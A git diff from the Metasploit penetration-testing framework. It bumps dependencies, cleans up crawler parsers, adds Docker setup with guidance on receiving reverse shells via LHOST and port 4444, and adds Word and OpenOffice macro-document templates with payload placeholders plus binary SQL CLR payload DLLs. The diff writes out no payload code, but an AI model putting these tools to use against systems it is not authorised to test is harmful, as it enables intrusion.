diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000000..d79466af1d --- /dev/null +++ b/.dockerignore @@ -0,0 +1,95 @@ +.dockerignore +.gitignore +.env* +docker-compose*.yml +docker/ +!docker/msfconsole.rc +README.md + +.bundle +Gemfile.local +Gemfile.local.lock +# Rubymine project directory +.idea +# Sublime Text project directory (not created by ST by default) +.sublime-project +# RVM control file, keep this to avoid backdooring Metasploit +.rvmrc +# Allow for a local choice of (unsupported / semi-supported) ruby versions +# See PR #4136 for usage, but example usage for rvm: +# rvm --create --versions-conf use 2.1.4@metasploit-framework +# Because rbenv doesn't use .versions.conf, to achieve this same functionality, run: +# rbenv shell 2.1.4 +.versions.conf +# YARD cache directory +.yardoc +# Mac OS X files +.DS_Store +# database config for testing +config/database.yml +# target config file for testing +features/support/targets.yml +# simplecov coverage data +coverage +doc/ +external/source/meterpreter/java/bin +external/source/meterpreter/java/build +external/source/meterpreter/java/extensions +external/source/javapayload/bin +external/source/javapayload/build +# Java binary ignores. Replace the 5 above with this once we're merged. +external/source/javapayload/*/.classpath +external/source/javapayload/*/.project +external/source/javapayload/*/.settings +external/source/javapayload/*/bin +external/source/javapayload/*/target +external/source/javapayload/*/*/.classpath +external/source/javapayload/*/*/.project +external/source/javapayload/*/*/.settings +external/source/javapayload/*/*/bin +external/source/javapayload/*/*/target +# Packaging directory +pkg +tags +*.swp +*.orig +*.rej +*~ +# Ignore backups of retabbed files +*.notab + +# ignore Visual Studio external source garbage +*.suo +*.sdf +*.opensdf +*.user + +# Rails log directory +/log +# Rails tmp directory +/tmp + +# ignore release/debug folders for exploits +external/source/exploits/**/Debug +external/source/exploits/**/Release + +# Avoid checking in Meterpreter binaries. These are supplied upstream by +# the metasploit-payloads gem. +data/meterpreter/*.dll +data/meterpreter/*.php +data/meterpreter/*.py +data/meterpreter/*.bin +data/meterpreter/*.jar +data/meterpreter/*.lso +data/android +data/java + +# Avoid checking in Meterpreter libs that are built from +# private source. If you're interested in this functionality, +# check out Metasploit Pro: http://metasploit.com/download +data/meterpreter/ext_server_pivot.*.dll + +# Avoid checking in metakitty, the source for +# https://rapid7.github.io/metasploit-framework. It's an orphan branch. +/metakitty +.vagrant diff --git a/.gitignore b/.gitignore index d128094e0b..49b76a8f8b 100644 --- a/.gitignore +++ b/.gitignore @@ -85,3 +85,6 @@ data/meterpreter/ext_server_pivot.*.dll # https://rapid7.github.io/metasploit-framework. It's an orphan branch. /metakitty .vagrant + +# local docker compose overrides +docker-compose.local* diff --git a/Gemfile b/Gemfile index 018ef029b2..3c42e7a909 100755 --- a/Gemfile +++ b/Gemfile @@ -20,7 +20,11 @@ group :development do gem 'pry' # module documentation gem 'octokit', '~> 4.0' - # rails-upgrade staging gems + # session aggregator, native builds have issues on arm platforms for now + gem 'metasploit-aggregator' if [ + 'x86-mingw32', 'x64-mingw32', + 'x86_64-linux', 'x86-linux', + 'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin')) end group :development, :test do diff --git a/Gemfile.lock b/Gemfile.lock index f0f54e42b6..8f34dc6ad4 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.13.19) + metasploit-framework (4.14.3) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -14,18 +14,19 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 1.2.11) + metasploit-payloads (= 1.2.19) metasploit_data_models metasploit_payloads-mettle (= 0.1.7) msgpack nessus_rest net-ssh network_interface + nexpose nokogiri octokit openssl-ccm openvas-omp - packetfu + packetfu (= 1.1.13.pre) patch_finder pcaprub pg @@ -63,29 +64,28 @@ PATH GEM remote: https://rubygems.org/ specs: - actionpack (4.2.7.1) - actionview (= 4.2.7.1) - activesupport (= 4.2.7.1) + actionpack (4.2.8) + actionview (= 4.2.8) + activesupport (= 4.2.8) rack (~> 1.6) rack-test (~> 0.6.2) rails-dom-testing (~> 1.0, >= 1.0.5) rails-html-sanitizer (~> 1.0, >= 1.0.2) - actionview (4.2.7.1) - activesupport (= 4.2.7.1) + actionview (4.2.8) + activesupport (= 4.2.8) builder (~> 3.1) erubis (~> 2.7.0) rails-dom-testing (~> 1.0, >= 1.0.5) - rails-html-sanitizer (~> 1.0, >= 1.0.2) - activemodel (4.2.7.1) - activesupport (= 4.2.7.1) + rails-html-sanitizer (~> 1.0, >= 1.0.3) + activemodel (4.2.8) + activesupport (= 4.2.8) builder (~> 3.1) - activerecord (4.2.7.1) - activemodel (= 4.2.7.1) - activesupport (= 4.2.7.1) + activerecord (4.2.8) + activemodel (= 4.2.8) + activesupport (= 4.2.8) arel (~> 6.0) - activesupport (4.2.7.1) + activesupport (4.2.8) i18n (~> 0.7) - json (~> 1.7, >= 1.7.7) minitest (~> 5.1) thread_safe (~> 0.3, >= 0.3.4) tzinfo (~> 1.1) @@ -104,7 +104,7 @@ GEM bcrypt (3.1.11) bit-struct (0.15.0) builder (3.2.3) - capybara (2.12.0) + capybara (2.13.0) addressable mime-types (>= 1.16) nokogiri (>= 1.3.3) @@ -114,7 +114,7 @@ GEM childprocess (0.5.9) ffi (~> 1.0, >= 1.0.11) coderay (1.1.1) - contracts (0.14.0) + contracts (0.15.0) cucumber (2.4.0) builder (>= 2.1.2) cucumber-core (~> 1.5.0) @@ -142,17 +142,38 @@ GEM railties (>= 3.0.0) faraday (0.11.0) multipart-post (>= 1.2, < 3) - ffi (1.9.17) + ffi (1.9.18) filesize (0.1.1) fivemat (1.3.2) - gherkin (4.0.0) - i18n (0.8.0) + gherkin (4.1.1) + google-protobuf (3.2.0.2) + googleauth (0.5.1) + faraday (~> 0.9) + jwt (~> 1.4) + logging (~> 2.0) + memoist (~> 0.12) + multi_json (~> 1.11) + os (~> 0.9) + signet (~> 0.7) + grpc (1.1.2) + google-protobuf (~> 3.1) + googleauth (~> 0.5.1) + i18n (0.8.1) jsobfu (0.4.2) rkelly-remix - json (1.8.6) + json (2.0.3) + jwt (1.5.6) + little-plugger (1.1.4) + logging (2.2.0) + little-plugger (~> 1.1) + multi_json (~> 1.10) loofah (2.0.3) nokogiri (>= 1.5.9) - metasm (1.0.2) + memoist (0.15.0) + metasm (1.0.3) + metasploit-aggregator (0.1.3) + grpc + rex-arch metasploit-concern (2.0.3) activemodel (~> 4.2.6) activesupport (~> 4.2.6) @@ -169,7 +190,7 @@ GEM activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-payloads (1.2.11) + metasploit-payloads (1.2.19) metasploit_data_models (2.0.14) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -187,25 +208,26 @@ GEM mime-types-data (3.2016.0521) mini_portile2 (2.1.0) minitest (5.10.1) - msgpack (1.0.3) + msgpack (1.1.0) multi_json (1.12.1) multi_test (0.1.2) multipart-post (2.0.0) nessus_rest (0.1.6) - net-ssh (4.0.1) + net-ssh (4.1.0) network_interface (0.0.1) + nexpose (5.3.1) nokogiri (1.7.0.1) mini_portile2 (~> 2.1.0) octokit (4.6.2) sawyer (~> 0.8.0, >= 0.5.3) openssl-ccm (1.2.1) openvas-omp (0.0.4) - packetfu (1.1.11) - network_interface (~> 0.0) - pcaprub (~> 0.12) + os (0.9.6) + packetfu (1.1.13.pre) + pcaprub patch_finder (1.0.2) pcaprub (0.12.4) - pg (0.19.0) + pg (0.20.0) pg_array_parser (0.0.9) postgres_ext (3.0.0) activerecord (>= 4.0.0) @@ -227,14 +249,14 @@ GEM rails-deprecated_sanitizer (>= 1.0.1) rails-html-sanitizer (1.0.3) loofah (~> 2.0) - railties (4.2.7.1) - actionpack (= 4.2.7.1) - activesupport (= 4.2.7.1) + railties (4.2.8) + actionpack (= 4.2.8) + activesupport (= 4.2.8) rake (>= 0.8.7) thor (>= 0.18.1, < 2.0) rake (12.0.0) - rb-readline (0.5.3) - recog (2.1.4) + rb-readline (0.5.4) + recog (2.1.5) nokogiri redcarpet (3.4.0) rex-arch (0.1.4) @@ -245,12 +267,12 @@ GEM rex-core rex-struct2 rex-text - rex-core (0.1.6) + rex-core (0.1.7) rex-encoder (0.1.2) metasm rex-arch rex-text - rex-exploitation (0.1.10) + rex-exploitation (0.1.11) jsobfu metasm rex-arch @@ -279,7 +301,7 @@ GEM rex-socket rex-text rex-struct2 (0.1.0) - rex-text (0.2.11) + rex-text (0.2.12) rex-zip (0.1.1) rex-text rkelly-remix (0.0.7) @@ -302,13 +324,18 @@ GEM rspec-support (~> 3.5.0) rspec-support (3.5.0) rubyntlm (0.6.1) - rubyzip (1.2.0) + rubyzip (1.2.1) sawyer (0.8.1) addressable (>= 2.3.5, < 2.6) faraday (~> 0.8, < 1.0) shoulda-matchers (3.1.1) activesupport (>= 4.0.0) - simplecov (0.13.0) + signet (0.7.3) + addressable (~> 2.3) + faraday (~> 0.9) + jwt (~> 1.5) + multi_json (~> 1.10) + simplecov (0.14.0) docile (~> 1.1.0) json (>= 1.8, < 3) simplecov-html (~> 0.10.0) @@ -317,13 +344,13 @@ GEM sqlite3 (1.3.13) sshkey (1.9.0) thor (0.19.4) - thread_safe (0.3.5) + thread_safe (0.3.6) timecop (0.8.1) tzinfo (1.2.2) thread_safe (~> 0.1) - tzinfo-data (1.2016.10) + tzinfo-data (1.2017.1) tzinfo (>= 1.0.0) - windows_error (0.1.0) + windows_error (0.1.1) xpath (2.0.0) nokogiri (~> 1.3) yard (0.9.8) @@ -336,6 +363,7 @@ DEPENDENCIES cucumber-rails factory_girl_rails fivemat + metasploit-aggregator metasploit-framework! octokit (~> 4.0) pry @@ -348,4 +376,4 @@ DEPENDENCIES yard BUNDLED WITH - 1.14.3 + 1.14.6 diff --git a/data/SqlClrPayload/v2.0/SqlClrPayload.dll b/data/SqlClrPayload/v2.0/SqlClrPayload.dll new file mode 100755 index 0000000000..6d9236cb3e Binary files /dev/null and b/data/SqlClrPayload/v2.0/SqlClrPayload.dll differ diff --git a/data/SqlClrPayload/v3.5/SqlClrPayload.dll b/data/SqlClrPayload/v3.5/SqlClrPayload.dll new file mode 100755 index 0000000000..34c8091339 Binary files /dev/null and b/data/SqlClrPayload/v3.5/SqlClrPayload.dll differ diff --git a/data/SqlClrPayload/v4.0/SqlClrPayload.dll b/data/SqlClrPayload/v4.0/SqlClrPayload.dll new file mode 100755 index 0000000000..8ec6ad1c95 Binary files /dev/null and b/data/SqlClrPayload/v4.0/SqlClrPayload.dll differ diff --git a/data/SqlClrPayload/v4.5.1/SqlClrPayload.dll b/data/SqlClrPayload/v4.5.1/SqlClrPayload.dll new file mode 100755 index 0000000000..fb9b05de7b Binary files /dev/null and b/data/SqlClrPayload/v4.5.1/SqlClrPayload.dll differ diff --git a/data/SqlClrPayload/v4.5.2/SqlClrPayload.dll b/data/SqlClrPayload/v4.5.2/SqlClrPayload.dll new file mode 100755 index 0000000000..a9de8e24bf Binary files /dev/null and b/data/SqlClrPayload/v4.5.2/SqlClrPayload.dll differ diff --git a/data/SqlClrPayload/v4.5/SqlClrPayload.dll b/data/SqlClrPayload/v4.5/SqlClrPayload.dll new file mode 100755 index 0000000000..03af2b7330 Binary files /dev/null and b/data/SqlClrPayload/v4.5/SqlClrPayload.dll differ diff --git a/data/SqlClrPayload/v4.6.1/SqlClrPayload.dll b/data/SqlClrPayload/v4.6.1/SqlClrPayload.dll new file mode 100755 index 0000000000..52d3b37fdc Binary files /dev/null and b/data/SqlClrPayload/v4.6.1/SqlClrPayload.dll differ diff --git a/data/SqlClrPayload/v4.6/SqlClrPayload.dll b/data/SqlClrPayload/v4.6/SqlClrPayload.dll new file mode 100755 index 0000000000..08ab10a782 Binary files /dev/null and b/data/SqlClrPayload/v4.6/SqlClrPayload.dll differ diff --git a/data/exploits/office_word_macro/[Content_Types].xml b/data/exploits/office_word_macro/[Content_Types].xml new file mode 100644 index 0000000000..adcd5a2cc9 --- /dev/null +++ b/data/exploits/office_word_macro/[Content_Types].xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/office_word_macro/_rels/__rels b/data/exploits/office_word_macro/_rels/__rels new file mode 100644 index 0000000000..fdd8c4f371 --- /dev/null +++ b/data/exploits/office_word_macro/_rels/__rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/office_word_macro/docProps/app.xml b/data/exploits/office_word_macro/docProps/app.xml new file mode 100644 index 0000000000..b7deadb9e8 --- /dev/null +++ b/data/exploits/office_word_macro/docProps/app.xml @@ -0,0 +1,2 @@ + +Normal.dotm1051110Microsoft Office Word011falseTitle1false10falsefalse15.0000 \ No newline at end of file diff --git a/data/exploits/office_word_macro/docProps/core.xml b/data/exploits/office_word_macro/docProps/core.xml new file mode 100644 index 0000000000..0e7d44d727 --- /dev/null +++ b/data/exploits/office_word_macro/docProps/core.xml @@ -0,0 +1,2 @@ + +Windows User PAYLOADGOESHEREWindows User322017-02-01T20:39:00Z2017-02-02T22:26:00Z \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/_rels/document.xml.rels b/data/exploits/office_word_macro/word/_rels/document.xml.rels new file mode 100644 index 0000000000..0767526cf8 --- /dev/null +++ b/data/exploits/office_word_macro/word/_rels/document.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/_rels/vbaProject.bin.rels b/data/exploits/office_word_macro/word/_rels/vbaProject.bin.rels new file mode 100644 index 0000000000..6169464f40 --- /dev/null +++ b/data/exploits/office_word_macro/word/_rels/vbaProject.bin.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/document.xml b/data/exploits/office_word_macro/word/document.xml new file mode 100644 index 0000000000..6a8a649e91 --- /dev/null +++ b/data/exploits/office_word_macro/word/document.xml @@ -0,0 +1,2 @@ + +DOCBODYGOESHER diff --git a/data/exploits/office_word_macro/word/fontTable.xml b/data/exploits/office_word_macro/word/fontTable.xml new file mode 100644 index 0000000000..43997894d3 --- /dev/null +++ b/data/exploits/office_word_macro/word/fontTable.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/settings.xml b/data/exploits/office_word_macro/word/settings.xml new file mode 100644 index 0000000000..2b96121e32 --- /dev/null +++ b/data/exploits/office_word_macro/word/settings.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/styles.xml b/data/exploits/office_word_macro/word/styles.xml new file mode 100644 index 0000000000..e51ea329dd --- /dev/null +++ b/data/exploits/office_word_macro/word/styles.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/theme/theme1.xml b/data/exploits/office_word_macro/word/theme/theme1.xml new file mode 100644 index 0000000000..9c5cd2b64f --- /dev/null +++ b/data/exploits/office_word_macro/word/theme/theme1.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/vbaData.xml b/data/exploits/office_word_macro/word/vbaData.xml new file mode 100644 index 0000000000..18d7c2dc9b --- /dev/null +++ b/data/exploits/office_word_macro/word/vbaData.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/office_word_macro/word/vbaProject.bin b/data/exploits/office_word_macro/word/vbaProject.bin new file mode 100644 index 0000000000..ec7ea683e1 Binary files /dev/null and b/data/exploits/office_word_macro/word/vbaProject.bin differ diff --git a/data/exploits/office_word_macro/word/webSettings.xml b/data/exploits/office_word_macro/word/webSettings.xml new file mode 100644 index 0000000000..f660c38903 --- /dev/null +++ b/data/exploits/office_word_macro/word/webSettings.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/Basic/Standard/Module1.xml b/data/exploits/openoffice_document_macro/Basic/Standard/Module1.xml new file mode 100644 index 0000000000..c5791ef583 --- /dev/null +++ b/data/exploits/openoffice_document_macro/Basic/Standard/Module1.xml @@ -0,0 +1,6 @@ + + +REM ***** BASIC ***** + +CODEGOESHERE + diff --git a/data/exploits/openoffice_document_macro/Basic/Standard/script-lb.xml b/data/exploits/openoffice_document_macro/Basic/Standard/script-lb.xml new file mode 100644 index 0000000000..45710ba3f8 --- /dev/null +++ b/data/exploits/openoffice_document_macro/Basic/Standard/script-lb.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/Basic/script-lc.xml b/data/exploits/openoffice_document_macro/Basic/script-lc.xml new file mode 100644 index 0000000000..43beef090b --- /dev/null +++ b/data/exploits/openoffice_document_macro/Basic/script-lc.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/Configurations2/accelerator/current.xml b/data/exploits/openoffice_document_macro/Configurations2/accelerator/current.xml new file mode 100644 index 0000000000..e69de29bb2 diff --git a/data/exploits/openoffice_document_macro/META-INF/manifest.xml b/data/exploits/openoffice_document_macro/META-INF/manifest.xml new file mode 100644 index 0000000000..76e8cd87ac --- /dev/null +++ b/data/exploits/openoffice_document_macro/META-INF/manifest.xml @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/Thumbnails/thumbnail.png b/data/exploits/openoffice_document_macro/Thumbnails/thumbnail.png new file mode 100644 index 0000000000..6b140e2983 Binary files /dev/null and b/data/exploits/openoffice_document_macro/Thumbnails/thumbnail.png differ diff --git a/data/exploits/openoffice_document_macro/content.xml b/data/exploits/openoffice_document_macro/content.xml new file mode 100644 index 0000000000..69ac403e86 --- /dev/null +++ b/data/exploits/openoffice_document_macro/content.xml @@ -0,0 +1,2 @@ + +DOCBODYGOESHER diff --git a/data/exploits/openoffice_document_macro/manifest.rdf b/data/exploits/openoffice_document_macro/manifest.rdf new file mode 100644 index 0000000000..927e206bb2 --- /dev/null +++ b/data/exploits/openoffice_document_macro/manifest.rdf @@ -0,0 +1,18 @@ + + + + + + + + + + + + + + + + + + diff --git a/data/exploits/openoffice_document_macro/meta.xml b/data/exploits/openoffice_document_macro/meta.xml new file mode 100644 index 0000000000..6ba6c515ed --- /dev/null +++ b/data/exploits/openoffice_document_macro/meta.xml @@ -0,0 +1,2 @@ + +sinn3r 2017-02-06T15:15:47.352017-02-06T15:21:59.64sinn3r PT4M16S2OpenOffice/4.1.3$Win32 OpenOffice.org_project/413m1$Build-9783 \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/mimetype b/data/exploits/openoffice_document_macro/mimetype new file mode 100644 index 0000000000..2e95b81c92 --- /dev/null +++ b/data/exploits/openoffice_document_macro/mimetype @@ -0,0 +1 @@ +application/vnd.oasis.opendocument.text \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/settings.xml b/data/exploits/openoffice_document_macro/settings.xml new file mode 100644 index 0000000000..207a6afe30 --- /dev/null +++ b/data/exploits/openoffice_document_macro/settings.xml @@ -0,0 +1,2 @@ + +003138110532truefalseview26895300200313801053000false100falsefalsetruefalsetruefalsefalsetrue0falsetruefalsefalsefalsetruetruefalsetruefalse1falsetruetruefalsetruefalsetruefalsefalsefalsefalse0truefalsefalsefalsefalsetruetruetruefalsefalsefalsetruefalsefalsetruefalsefalsehigh-resolutionfalse0truetruefalsetruefalse \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/styles.xml b/data/exploits/openoffice_document_macro/styles.xml new file mode 100644 index 0000000000..bcdf3b8430 --- /dev/null +++ b/data/exploits/openoffice_document_macro/styles.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/msfcrawler/basic.rb b/data/msfcrawler/basic.rb old mode 100755 new mode 100644 index 759e0459c6..30199410a1 --- a/data/msfcrawler/basic.rb +++ b/data/msfcrawler/basic.rb @@ -1,17 +1,8 @@ ## -# $Id$ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -# $Revision$ - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -19,10 +10,7 @@ require 'uri' class CrawlerSimple < BaseParser def parse(request,result) - - if !result['Content-Type'].include? "text/html" - return - end + return unless result['Content-Type'].include?('text/html') # doc = Hpricot(result.body.to_s) doc = Nokogiri::HTML(result.body.to_s) diff --git a/data/msfcrawler/comments.rb b/data/msfcrawler/comments.rb new file mode 100644 index 0000000000..e632eed46b --- /dev/null +++ b/data/msfcrawler/comments.rb @@ -0,0 +1,31 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'pathname' +require 'nokogiri' +require 'uri' + +class CrawlerComments < BaseParser + + def parse(request,result) + return unless result['Content-Type'].include?('text/html') + + doc = Nokogiri::HTML(result.body.to_s) + doc.xpath('//comment()').each do |comment| + # searching for href + hr = /href\s*=\s*"([^"]*)"/.match(comment) + if hr + begin + hreq = urltohash('GET', hr[1], request['uri'], nil) + insertnewpath(hreq) + rescue URI::InvalidURIError + # ignored + end + end + + end + + end +end diff --git a/data/msfcrawler/forms.rb b/data/msfcrawler/forms.rb old mode 100755 new mode 100644 index b0c48e1472..202b2d00e7 --- a/data/msfcrawler/forms.rb +++ b/data/msfcrawler/forms.rb @@ -1,17 +1,8 @@ ## -# $Id$ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -# $Revision$ - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -19,28 +10,21 @@ require 'uri' class CrawlerForms < BaseParser def parse(request,result) - - if !result['Content-Type'].include? "text/html" - return - end - - hr = '' - m = '' + return unless result['Content-Type'].include?('text/html') doc = Nokogiri::HTML(result.body.to_s) doc.css('form').each do |f| hr = f['action'] - fname = f['name'] - fname = "NONE" if fname.empty? + # Removed because unused + #fname = f['name'] + #fname = 'NONE' if fname.empty? - m = f['method'].empty? ? 'GET' : f['method'].upcase - - htmlform = Nokogiri::HTML(f.inner_html) + m = (f['method'].empty? ? 'GET' : f['method'].upcase) arrdata = [] - htmlform.css('input').each do |p| + f.css('input').each do |p| arrdata << "#{p['name']}=#{Rex::Text.uri_encode(p['value'])}" end @@ -51,7 +35,10 @@ class CrawlerForms < BaseParser hreq['ctype'] = 'application/x-www-form-urlencoded' insertnewpath(hreq) rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" end + end end end diff --git a/data/msfcrawler/frames.rb b/data/msfcrawler/frames.rb old mode 100755 new mode 100644 index 5edfaec16f..5e7c4d31e6 --- a/data/msfcrawler/frames.rb +++ b/data/msfcrawler/frames.rb @@ -1,13 +1,8 @@ - ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -27,6 +22,7 @@ class CrawlerFrames < BaseParser hreq = urltohash('GET', ir, request['uri'], nil) insertnewpath(hreq) rescue URI::InvalidURIError + # ignored end end diff --git a/data/msfcrawler/image.rb b/data/msfcrawler/image.rb old mode 100755 new mode 100644 index 5e5d643637..8536a6c4ea --- a/data/msfcrawler/image.rb +++ b/data/msfcrawler/image.rb @@ -1,14 +1,8 @@ - ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## -# $Revision: 9212 $ - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -27,6 +21,7 @@ class CrawlerImage < BaseParser hreq = urltohash('GET', im, request['uri'], nil) insertnewpath(hreq) rescue URI::InvalidURIError + # ignored end end diff --git a/data/msfcrawler/link.rb b/data/msfcrawler/link.rb old mode 100755 new mode 100644 index 9cb7794ef0..d3ccf1242a --- a/data/msfcrawler/link.rb +++ b/data/msfcrawler/link.rb @@ -1,14 +1,8 @@ - ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## -# $Revision: 9212 $ - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -26,6 +20,7 @@ class CrawlerLink < BaseParser hreq = urltohash('GET', hr, request['uri'], nil) insertnewpath(hreq) rescue URI::InvalidURIError + # ignored end end diff --git a/data/msfcrawler/objects.rb b/data/msfcrawler/objects.rb old mode 100755 new mode 100644 index fe69846cb1..44e4bc9ad0 --- a/data/msfcrawler/objects.rb +++ b/data/msfcrawler/objects.rb @@ -1,17 +1,8 @@ ## -# $Id$ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -# $Revision$ - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -29,6 +20,7 @@ class CrawlerObjects < BaseParser hreq = urltohash('GET', s, request['uri'], nil) insertnewpath(hreq) rescue URI::InvalidURIError + # ignored end end end diff --git a/data/msfcrawler/scripts.rb b/data/msfcrawler/scripts.rb old mode 100755 new mode 100644 index a28a0a0470..4acfcd5d72 --- a/data/msfcrawler/scripts.rb +++ b/data/msfcrawler/scripts.rb @@ -1,17 +1,8 @@ ## -# $Id$ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -# $Revision$ - -require 'rubygems' require 'pathname' require 'nokogiri' require 'uri' @@ -21,8 +12,6 @@ class CrawlerScripts < BaseParser def parse(request,result) return unless result['Content-Type'].include? "text/html" - hr = '' - m = '' doc = Nokogiri::HTML(result.body.to_s) doc.xpath("//script").each do |obj| s = obj['src'] @@ -30,6 +19,7 @@ class CrawlerScripts < BaseParser hreq = urltohash('GET', s, request['uri'], nil) insertnewpath(hreq) rescue URI::InvalidURIError + # ignored end end diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000000..adadd36613 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,24 @@ +version: '2' +services: + ms: &ms + image: metasploit + build: + context: . + dockerfile: ./docker/Dockerfile + environment: + DATABASE_URL: postgres://postgres@db:5432/msf + links: + - db + ports: + - 4444:4444 + volumes: + - $HOME/.msf4:/root/.msf4 + + db: + image: postgres:9.6 + volumes: + - pg_data:/var/lib/postgresql/data + +volumes: + pg_data: + driver: local diff --git a/docker/Dockerfile b/docker/Dockerfile new file mode 100644 index 0000000000..0e220d1290 --- /dev/null +++ b/docker/Dockerfile @@ -0,0 +1,47 @@ +FROM ruby:2.3-alpine +MAINTAINER Rapid7 + +ARG BUNDLER_ARGS="--system --jobs=8" +ENV APP_HOME /usr/src/metasploit-framework/ +WORKDIR $APP_HOME + +COPY Gemfile* m* Rakefile $APP_HOME +COPY lib $APP_HOME/lib + +RUN apk update && \ + apk add \ + ruby-bigdecimal \ + ruby-bundler \ + ruby-io-console \ + autoconf \ + bison \ + subversion \ + git \ + sqlite \ + nmap \ + libxslt \ + postgresql \ + ncurses \ + && apk add --virtual .ruby-builddeps \ + build-base \ + ruby-dev \ + libffi-dev\ + openssl-dev \ + readline-dev \ + sqlite-dev \ + postgresql-dev \ + libpcap-dev \ + libxml2-dev \ + libxslt-dev \ + yaml-dev \ + zlib-dev \ + ncurses-dev \ + bison \ + autoconf \ + && echo "gem: --no-ri --no-rdoc" > /etc/gemrc \ + && bundle install $BUNDLER_ARGS \ + && apk del .ruby-builddeps \ + && rm -rf /var/cache/apk/* + +ADD ./ $APP_HOME +CMD ["./msfconsole", "-r", "docker/msfconsole.rc"] diff --git a/docker/README.md b/docker/README.md new file mode 100644 index 0000000000..b5143662f3 --- /dev/null +++ b/docker/README.md @@ -0,0 +1,65 @@ +# Metasploit in Docker +## Getting Started + +To run `msfconsole` +```bash +docker-compose run --rm --service-ports ms +``` + +To run `msfvenom` +```bash +docker-compose run --rm ms ./msfvenom +``` + +### I don't like typing `docker-compose --rm ...` + +We have included some binstubs `./bin`, you can symlink them to your path. + +Assuming you have `$HOME/bin`, and it's in your `$PATH`. You can run this from the project root: + +```bash +ln -s `pwd`/docker/bin/msfconsole $HOME/bin/ +ln -s `pwd`/docker/bin/msfvenom $HOME/bin/ +``` + +### But I want reverse shells... + +By default we expose port `4444`. You'll need to set `LHOST` to be a hostname/ip +of your host machine. + +If you want to expose more ports, or have `LHOST` prepopulated with a specific +value; you'll need to setup a local docker-compose override for this. + +Create `docker/docker-compose.local.override.yml` with: +```yml +version: '2' +services: + ms: + environment: + # example of setting LHOST + LHOST: 10.0.8.2 + # example of adding more ports + ports: + - 8080:8080 +``` + +Make sure you set `LHOST` to valid hostname that resolves to your host machine. + +Now you need to set the `COMPOSE_FILE` environment variable to load your local +override. + +```bash +echo "COMPOSE_FILE=./docker-compose.yml:./docker/docker-compose.local.override.yml" >> .env +``` +Now you should be able get reverse shells working + +## Developing + +To setup you environment for development, you need to 